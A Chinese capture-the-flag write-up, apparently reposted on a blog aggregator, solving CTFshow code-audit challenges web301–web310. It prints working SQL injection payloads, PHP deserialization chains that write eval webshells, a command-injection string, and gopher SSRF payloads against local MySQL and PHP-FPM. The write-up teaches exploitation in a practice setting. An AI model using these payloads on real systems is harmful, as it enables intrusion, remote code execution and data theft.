Ctfshow web入门 代码审计篇 web301-web310 详细题解 全

news2024/11/17 9:53:13

CTFshow 代码审计 web301

下载的附件的目录结构如下：

image-20230915000900413

开题后界面，看见输入框，感觉是sql。

image-20230915001926432

大概浏览一遍源码，我们可以发现在checklogin.php文件中有无过滤的SQL语句，SQL注入没得跑了。

image-20230915001901264

这题SQL注入有三种做法。

方法一：

普通盲注，时间和布尔都行，这里不赘述了。

方法二：

联合注入。

在联合查询并不存在的数据时，联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户，可以使用这个账户登录。

其实很好理解，平常我们联合注入的时候一般是这样的paylaod：?id=1 and 1=2 union select 1,database()#。两个回显位，返回给我们的是1 数据库名称。这个1是哪来的呢，就是...select 1...创建的虚拟数据1。

然后解释一下同文件中的17行的语句if(!strcasecmp($userpwd,$row['sds_password']))，满足条件就能登陆成功。PHP中strcasecmp()函数是比较字符串，如果 str1 小于 str2 返回 < 0； 如果 str1 大于 str2 返回 > 0；如果两者相等，返回 0。

paylaod：

账号：-1' union select 1717#
密码：1717

账号进入SQL语句，拼接，未查询到内容，但是创建了虚拟数据1717。那么就是返回了1717。程序把1717当成了账号在数据库中查询到的密码，我们输入的密码也是1717，strcasecmp()函数判断相等，成功登录。

登录成功就给flag

image-20230915002856684

方法三：

写入shell。也是基础SQL注入，不赘述原理了。

payload：

账号：-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码：1

访问/shell.php，直接getshell

image-20230915003344810

CTFshow 代码审计 web302

修改的地方：if(!strcasecmp(sds_decode( u s e r p w d ) , userpwd), userpwd),row[‘sds_password’]))

sds_decode函数：

function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

估计数据库中的密码是经过加密的。比如说我们的密码是1717，存在数据库里面经过加密后就是md5(md5('1717'.md5(base64_encode("sds")))."sds")，就是1e715c20ac9c36a193b564d39ed5fd6b。

方法还是三个。盲注和写入shell不变。联合注入创建虚拟数据稍微改改就行了。

payload：

账号：-1' union select '1e715c20ac9c36a193b564d39ed5fd6b'#
密码：1717

image-20230915004315315

CTFshow 代码审计 web303

源码目录结构:

image-20230916211235143

下载源码后，看原来的checklogin.php文件，发现限制了我们的注入点$username长度为6及以内，那我们就不能用这个注入点进行注入了。

image-20230916211114538

继续看源码，发现文件dpt.php和dptadd.php中都有注释//注入点。

dpt.php

image-20230916213438043

dptadd.php

image-20230916213507503

但是想进入这两个文件，我们必须先登录，得有$_SESSION['login']，否则会重定向到login.php。继续看源码寻找如何获得账号密码登录。

我们在fun.php中找到提示语句echo sds_decode("admin");，猜测账号密码就是admin

image-20230916213646199

sql文件里有账密的信息，密码是被函数加密过写入的，输入框输入不影响。

image-20230916221939825

输入框输入：

账号：admin
密码：admin

登陆后界面：

dpt.php作用是显示数据。但是我们发现，sql语句中根本没有可控变量，甚至没有变量！所以这里是假的注入点。

image-20230916214201551

$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];
						
$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);

dptadd.php作用是添加数据（insert into），这里sql语句有可控变量，是真注入点。我们可以insert注入也可以报错注入，因为die(mysqli_error($mysqli));回显了sql报错语句。

image-20230916214224806

	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}

一、insert注入

sql语句：

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";

原理就是，insert的某个变量用select查询语句代替，插入时先执行查询语句查出我们想要的数据，再把我们想要的数据（flag）写入数据库中我们可以直接查询的地方，利用系统自带的查询数据功能直接把我们想要的数据（插入进去的数据，也就是flag）回显给我们。

比如下面的语句就把数据库名称插入到user表里面。

$dpt_name="(select database())";
$sql="insert into user set name='".$dpt_name."';";

开始做题：

查表，简单一点就只传一个参数然后直接闭合就行就行

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查字段

dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

查数据值

dpt_name=1',sds_address=(select flag from sds_fl9g)#

image-20230916220921839

二、报错注入

老生常谈的注入方式，这里不赘述了，直接放payload了。

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

image-20230916214833041

CTFshow 代码审计 web304

题目描述：

image-20230916221132293

但是扫了眼源码，并没有上waf。只是换了个表名，把sds_fl9g换成了sds_flaag而已。其他都同上题。

insert注入和报错注入都可以。

payload：

dpt_name=1',sds_address=(select flag from sds_flaag)#

image-20230916222500011

CTFshow 代码审计 web305

和上一题大不相同。首先是都上了waf，sql注入行不通了。登录的账号密码还是admin

image-20230917204625929

但是在class.php中发现了恶意类（文件写入），在checklogin.php中发现了反序列化操作。

image-20230917210121582

image-20230917210133843

思路就是反序列化，写shell到文件，然后就能控制服务端了。

反序列化POC：

<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
?>

payload： 注意路由

Cookie:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

image-20230917210755385

上传成功后getshell，却发现flag不在文件里面，猜测flag在数据库里面。

getshell到夺取数据库的话，用蚁剑链接数据库就好啦。

首先是让蚁剑连上shell。

数据库账号密码在conn.php里面，分别是root和phpcj。

image-20230917211344230

然后右键数据操作。

image-20230917211437199

点击添加。

image-20230917211447174

注意数据库类型是MYSQLI，密码也是root不知道为什么。后来发现蚁剑里面读到的源码和他给的不一样，蚁剑里面读到的conn.php里面的密码是root

image-20230917211711344

选中列后执行即可得到flag。

image-20230917211804075

CTFshow 代码审计 web306

题目描述：开始使用mvc结构

还是php反序列化写入文件，这次是构造简单POP链。

这次不用登录账号，直接Cookie里面加user就行。注意index.php反序列化时候会就行base64解码。

image-20230917212446374

链子：[index.php] unserialize->[dao.php] dao::__destruct()->[class.php] log::close()

反序列化POC：

<?php
class dao{
	private $conn;

	public function __construct(){
		$this->conn=new log();
	}
}
class log{
	public $title='a.php';
	public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));

payload： 注意路由

Cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319

image-20230917212944376

flag在当前目录flag.php里面

image-20230917213035951

CTFshow 代码审计 web307

题目描述：是不是顺眼多了

这次是真的MVC结构。

还是php反序列化构造简单POP链，写入文件。

不用登录账号，直接Cookie里面加user就行。注意logout.php反序列化时候会就行base64解码。

image-20230917214409946

先找恶意类，在/controller/service/dao/dao.php文件的dao类中，可以拼接执行命令写shell到文件。

image-20230917214043700

logout.php包含了service.php并且调用了clearCache()函数，service是通过dao类调用的clearCache，logout.php require了service.php，而service.php又require了dao.php，所以不需要用到service类也可以直接通过dao类调用clearCache()函数

链子：[/controller/logout.php] unserialize->[/controller/service/dao/dao.php] dao::clearCache()

反序列化POC：

<?php
class config{
	public $cache_dir = 'xxx;echo  "<?php eval(\$_POST[1]);?>" >a.php;';
	//$不转义的话，双引号会把$_POST[1]解析
}	

class dao{
	private $config;
	public function __construct(){
		$this->config=new config();
	}
}
$a=new dao();
echo base64_encode(serialize($a));

payload: 注意路由

Cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=

image-20230917215149212

flag在/var/www/html/flag.php

image-20230917215533683

CTFshow 代码审计 web308

题目描述：需要拿shell

目录结构：

image-20230921142643599

首先看看之前的攻击方式能不能用了。

SQL注入：

无明显注入点，无SQL报错信息输出，insert语句都上了waf。SQL注入不可行。

image-20230921142328715

反序列化写入文件：

有无过滤的file_put_contents()函数却从未被调用。

image-20230921142826182

反序列化执行命令：

上了waf，只能输入大小写字母。

image-20230921142928780

由此看来，之前的攻击方式全都失效，我们要另寻他法。

我们在fun.php的checkUpdate()函数中发现了明显的SSRF特征代码，而且没有过滤。

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

image-20230921143145647

我们把所有有关的代码都整合起来：

//【index.php】
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

//【dao.php】
class dao{
	private $config;

	public function checkVersion(){
			return checkUpdate($this->config->update_url);
		}
}

//【config.php】
class config{
	private $mysql_username='root';
    //没有密码！！！！！
	private $mysql_password='';

	public $update_url = 'https://vip.ctf.show/version.txt';
}

//【fun.php】
function checkUpdate($url){
		$ch=curl_init();	
		//...
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

得出我们可以使用SSRF打无密码的mysql。SSRF的payload由/index.php反序列化传入。

这里遇到了一个问题，我们不知道admin登录的密码，这里密码已经不是admin的MD5加密了。

image-20230921144047046

很多师傅包括刚刚的我会觉得，那不是在/index.php中会重定向到/login.php吗，怎么触发反序列化呢？

其实header后的PHP代码还会被执行。虽然重定向了，不影响接下里的代码执行，该被SSRF打还是得被SSRF打。终止代码执行应该在后面加一个exit();或者die();

image-20230921143834290

我们先来写一下反序列化POC：

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 【SSRF打无密码mysql的payload】;
}

$a= new dao();
echo base64_encode(serialize($a));

?>

然后我们来生成一下【SSRF打无密码mysql的payload】，顺便说一下，这种攻击方式对应端口3306。

Gopherus工具对应文件夹开cmd控制台。工具下载地址https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

一共有两个地方要输入。

image-20230731164151899

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01

如果是直接传参，payload需要再次URL编码后发送。因为发送到服务端会自动解析一次。

但是这里是通过反序列化打，解析payload时候已经在服务端了，不需再次编码，直接cv在POC里面就行。

利用POC生成的最后payload，然后在/index.php路由（不用登录，抓包直接改路由就行）Cookie传参：

service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319

image-20230921145819409

访问/1.php路由，直接getshell。

image-20230921145918038

CTFshow 代码审计 web309

题目描述：需要拿shell，308的方法不行了,mysql 有密码了。

先看看源码。源码还是没有变，可能没更新吧。

image-20230921170555245

先利用之前的反序列化POC手动扫一下端口。

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'gopher://127.0.0.1:【端口】';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

一些危险端口如下：

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口

端口设置成9000时候一直未响应。那就是9000端口存在服务.

原理:

向服务端发送请求时，服务端会等待我们发送数据，处于wait状态。最多等几十秒。
gopher协议只会把数据发送过去，不承接任何应用。所以gopher协议访问开放端口时，会"卡住"，等待我们传输数据，所以就能探测端口是否开放。
脚本用gopher协议访问，超过两秒（服务端等待数据接收）就判断端口开放，没超时（服务端直接拒绝）就是端口没开放。

image-20230921170915692

和上题一样，SSRF之Gopher协议打FastCGI（端口9000）。

FastCGI攻击需要满足四个条件：

1、PHP版本要高于5.3.3，才能动态修改PHP.INI配置文件
2、知道题目环境中的一个PHP文件的绝对路径
3、PHP-FPM监听在本机9000端口
4、libcurl版本>=7.45.0

Gopherus工具生成攻击FastCGI的payload。

python2 gopherus.py --exploit fastcgi

之后有两个地方可以输入

第一个地方输入：
一个已知存在的php文件如/var/www/html/index.php  

第二个地方输入：
希望目标服务器执行的恶意命令，比如反弹shell：
tac f*

image-20230921171914622

得到payload。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

代入POC直接生成payload打。

image-20230921172030489

CTFshow 代码审计 web310

源码还是一样。

和之前一样先试试FastCGI，这次写马到文件，getshell方便点。

第一个地方输入：
/var/www/html/index.php  

第二个地方输入：
echo  "<?php eval(\$_POST[1]);?>" >1.php

image-20230921190307100

带入POC打一下。

image-20230921190526825

发现能成功写马到文件：

image-20230921190545291

完了，这波小丑了。

image-20230921190652654

仔细查找后发现路径/var/flag/index.html

image-20230921192332089

读取得到flag。

image-20230921192357156

换个思路，尝试SSRF之伪协议读取文件。这里由于是nginx服务，nginx可以通过fastcgi对接php，所以nginx的配置文件中也会有一些重要信息。读取一下nginx服务的配置文件/etc/nginx/nginx.conf。

伪协议file:///etc/nginx/nginx.conf

POC：

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'file:///etc/nginx/nginx.conf';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

image-20230921191433089

配置文件内容如下：

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
	server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

每一个http块都可以包含多个server块，而每个server块就相当于一台虚拟主机，它内部可有多台主机联合提供服务，一起对外提供在逻辑上关系密切的一组服务。

注意到最后一部分，我们发现4476这个端口是定向到/var/flag，访问内网4476端口即可得到flag文件/var/flag内容。

server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
}

最后的POC：

<?php

class dao{
	private $config;
	public function __construct(){
	$this->config=new config();
    }
}

class config{
 	public $update_url = 'http://127.0.0.1:4476';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

image-20230921192447359

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1047429.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

java进阶-Netty

java进阶-Netty

Netty 在此非常感谢尚硅谷学院以及韩顺平老师在B站公开课 Netty视频教程 Netty demo代码文件 I/O 说NIO之前先说一下BIO&#xff08;Blocking IO&#xff09;,如何理解这个Blocking呢&#xff1f;客户端监听&#xff08;Listen&#xff09;时&#xff0c;Accept是阻塞的&…
阅读更多...
游戏模板：MFPS 2.0: Multiplayer FPS

游戏模板：MFPS 2.0: Multiplayer FPS

MFPS 2.0: Multiplayer FPS Most complete multiplayer first-person shooter kit. 可编程渲染管线&#xff08;SRP&#xff09;兼容性 Unity可编程渲染管线&#xff08;SRP&#xff09;是让您能够通过C#脚本控制渲染的一个功能。SRP是支撑通用渲染管线&#xff08;URP&#…
阅读更多...
紫光同创FPGA图像视频采集系统，基于OV7725实现，提供工程源码和技术支持

紫光同创FPGA图像视频采集系统，基于OV7725实现，提供工程源码和技术支持

目录 1、前言免责声明 2、设计思路框架视频源选择OV7725摄像头配置及采集动态彩条HDMA图像缓存输入输出视频HDMA缓冲FIFOHDMA控制模块HDMI输出 3、PDS工程详解4、上板调试验证并演示准备工作静态演示动态演示 5、福利&#xff1a;工程源码获取 紫光同创FPGA图像视频采集系统&am…
阅读更多...
全球性区块链服务网络（BSN）机制体系、关键技术和应用项目科技成果鉴定会在北京举行

全球性区块链服务网络（BSN）机制体系、关键技术和应用项目科技成果鉴定会在北京举行

原标题&#xff1a;《全球性区块链服务网络&#xff08;BSN&#xff09;机制体系、关键技术和应用项目科技成果鉴定会在北京举行》 2023年9月17日&#xff0c;“全球性区块链服务网络&#xff08;BSN&#xff09;机制体系、关键技术和应用”科技成果鉴定会在北京举行。鉴定委员…
阅读更多...
[FineReport]安装与使用(连接Hive3.1.2)

[FineReport]安装与使用(连接Hive3.1.2)

一、安装(对应hive3.1.2) 注&#xff1a;服务器的和本地的要同时安装。本地是测试环境&#xff0c;服务器的是生产环境 1、服务器安装 1、下载 免费下载FineReport - FineReport报表官网 向下滑找到 2、解压 [rootck1 /home/data_warehouse/software]# tar -zxvf tomcat…
阅读更多...
十四，间接漫反射用到球体中

十四，间接漫反射用到球体中

间接光照分为间接漫反射和间接镜面反射。 辐照度图是用来适用于间接漫反射的。 直射光也有漫反射&#xff0c;对比下两者。 直接光kD * albedo / PI * radiance * NdotL&#xff1b;其中radiance * NdotL是光照, 间接光&#xff1a; kD * texture(irradianceMap, N).rgb* al…
阅读更多...
Linux -- 进程间通信之匿名管道

Linux -- 进程间通信之匿名管道

博客中涉及代码已全部上传至Gitee&#xff0c;有需要请自行下载 目录 前言通信基础管道 匿名管道第一步&#xff1a;创建管道第二步&#xff1a;创建子进程第三步&#xff1a;开始通信第四步&#xff1a;结束通信 匿名管道通信代码实现四种特殊情景 基于匿名管道的多进程控制对…
阅读更多...
【Linux】Linux进程控制

【Linux】Linux进程控制

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;Linux &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 上一篇博客&#xff1a;【Linux】…
阅读更多...
Latex写论文时图的设置

Latex写论文时图的设置

我们在写论文&#xff0c;使用官方Latex模板可能经常遇到这种情况&#xff1a; 图和文字间距太大&#xff0c;这是因为排版时图片插入到了一个段的中间导致的。 解决方法是&#xff08;注意控制字符\vspace一定要放在引用图的代码块里面&#xff09;&#xff1a; \begin{figu…
阅读更多...
浅谈电气防火保护器在地下商场的应用

浅谈电气防火保护器在地下商场的应用

摘 要&#xff1a;近年来&#xff0c;我国城市发展速度加速。很多城市大力建造地下建筑设施&#xff0c;比如地铁、地下停车场和地下商场等。地下商场属于人员密集型建筑&#xff0c;其防火设计一直令相关的专家头疼。由于人员密集&#xff0c;防火处理不好将酿成灾难性的后果。…
阅读更多...
【数据结构与算法】 - 时间复杂度和空间复杂度、二分查找、线性查找

【数据结构与算法】 - 时间复杂度和空间复杂度、二分查找、线性查找

数据结构与算法 1. 数据结构的定义2. 二分查找2.1 二分查找的定义2.2 二分查找分析2.3 二分查找实现2.4 二分查找算法图解2.5 二分算法引发的问题2.6 二分算法改良版2.7 二分算法改良版解析2.8 二分算法改良版图解2.9 二分算法改良版注意事项 3. 时间复杂度3.1 时间复杂度的概念…
阅读更多...
数据计算-第15届蓝桥杯第一次STEMA测评Scratch真题精选

数据计算-第15届蓝桥杯第一次STEMA测评Scratch真题精选

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第154讲。 第15届蓝桥杯第1次STEMA测评已于2023年8月20日落下帷幕&#xff0c;编程题一共有6题&#xff0c;分别如下&a…
阅读更多...
ThreeJS-3D教学二：基础形状展示

ThreeJS-3D教学二：基础形状展示

three中提供了22 个基础模型&#xff0c;此案例除了 EdgesGeometry、ExtrudeGeometry、TextGeometry、WireframeGeometry&#xff0c;涵盖 17 个形状。 Fog 雾化设置&#xff0c;这是scene场景效果EdgesGeometry , WireframeGeometry 更多地可能作为辅助功能去查看几何体的边和…
阅读更多...
修炼k8s+flink+hdfs+dlink（一：安装flink）

修炼k8s+flink+hdfs+dlink（一：安装flink）

一&#xff1a;standalone的ha环境部署。 创建目录&#xff0c;上传安装包。 mkdir /opt/app/flink 上传安装包到本目录。 tar -zxvf flink-1.13.6-bin-scala_2.12.tgz配置参数。 在flink-conf.yaml中添加zookeeper配置 jobmanager.rpc.address: node01 high-availability: …
阅读更多...
论文浅尝 | INGRAM：通过关系图的归纳知识图谱嵌入

论文浅尝 | INGRAM：通过关系图的归纳知识图谱嵌入

笔记整理&#xff1a;郭荣辉&#xff0c;天津大学硕士 链接&#xff1a;https://arxiv.org/abs/2305.19987 动机 归纳知识图谱补全是预测训练期间没有观察到的新实体之间缺失的三元组的任务。虽然大多数归纳知识图谱补全方法假定所有实体都是新的&#xff0c;但它们不允许在推理…
阅读更多...
【c语言的malloc函数介绍】

【c语言的malloc函数介绍】

malloc&#xff08;memory allocation的缩写&#xff09;是C语言中的一个函数&#xff0c;用于动态分配内存空间。这个函数允许你在程序运行时请求指定大小的内存块&#xff0c;以供后续使用。malloc函数属于标准库函数&#xff0c;需要包含头文件#include <stdlib.h> 才…
阅读更多...
使用Vue、ElementUI实现登录注册，配置axios全局设置，解决CORS跨域问题

使用Vue、ElementUI实现登录注册，配置axios全局设置，解决CORS跨域问题

目录 引言 什么是ElementUI&#xff1f; 步骤1&#xff1a;创建Vue组件用于用户登录和注册 1. 基于SPA项目完成登录注册 在SPA项目中添加elementui依赖 在main.js中添加elementui模块 创建用户登录注册组件 配置路由 修改项目端口并启动项目 静态页面展示图 步骤2&#x…
阅读更多...
搭建qml box2d开发环境

搭建qml box2d开发环境

box2d是开源的优秀物理引擎 box2d官网 https://box2d.org/ qml box2d插件工程 https://gitee.com/gao_yao_yao/qml-box2d 1. qml box2d插件工程 下载&#xff0c;解压qml-box2d-master.zip&#xff0c;用qt打开box2d.pro&#xff0c;编译Debug|Release拷贝Box2D.dll|Box2Dd.…
阅读更多...
LeetCode算法二叉树—226. 翻转二叉树

LeetCode算法二叉树—226. 翻转二叉树

目录 226. 翻转二叉树 代码&#xff1a; 运行结果&#xff1a; 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1]示例 2&#xff1a; 输入…
阅读更多...
easyrecovery好用吗 easyrecovery软件收费吗

easyrecovery好用吗 easyrecovery软件收费吗

EasyRecovery是一款专业的数据恢复软件&#xff0c;它功能强大且性价比高&#xff0c;能够精确找回需要的文件&#xff0c;方便又快捷。那么Easyrecovery好用吗&#xff0c;Easyrecovery软件收费吗。今天我为大家解答一下这两个问题。 一、Easyrecovery好用吗 EasyRcovery可用…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023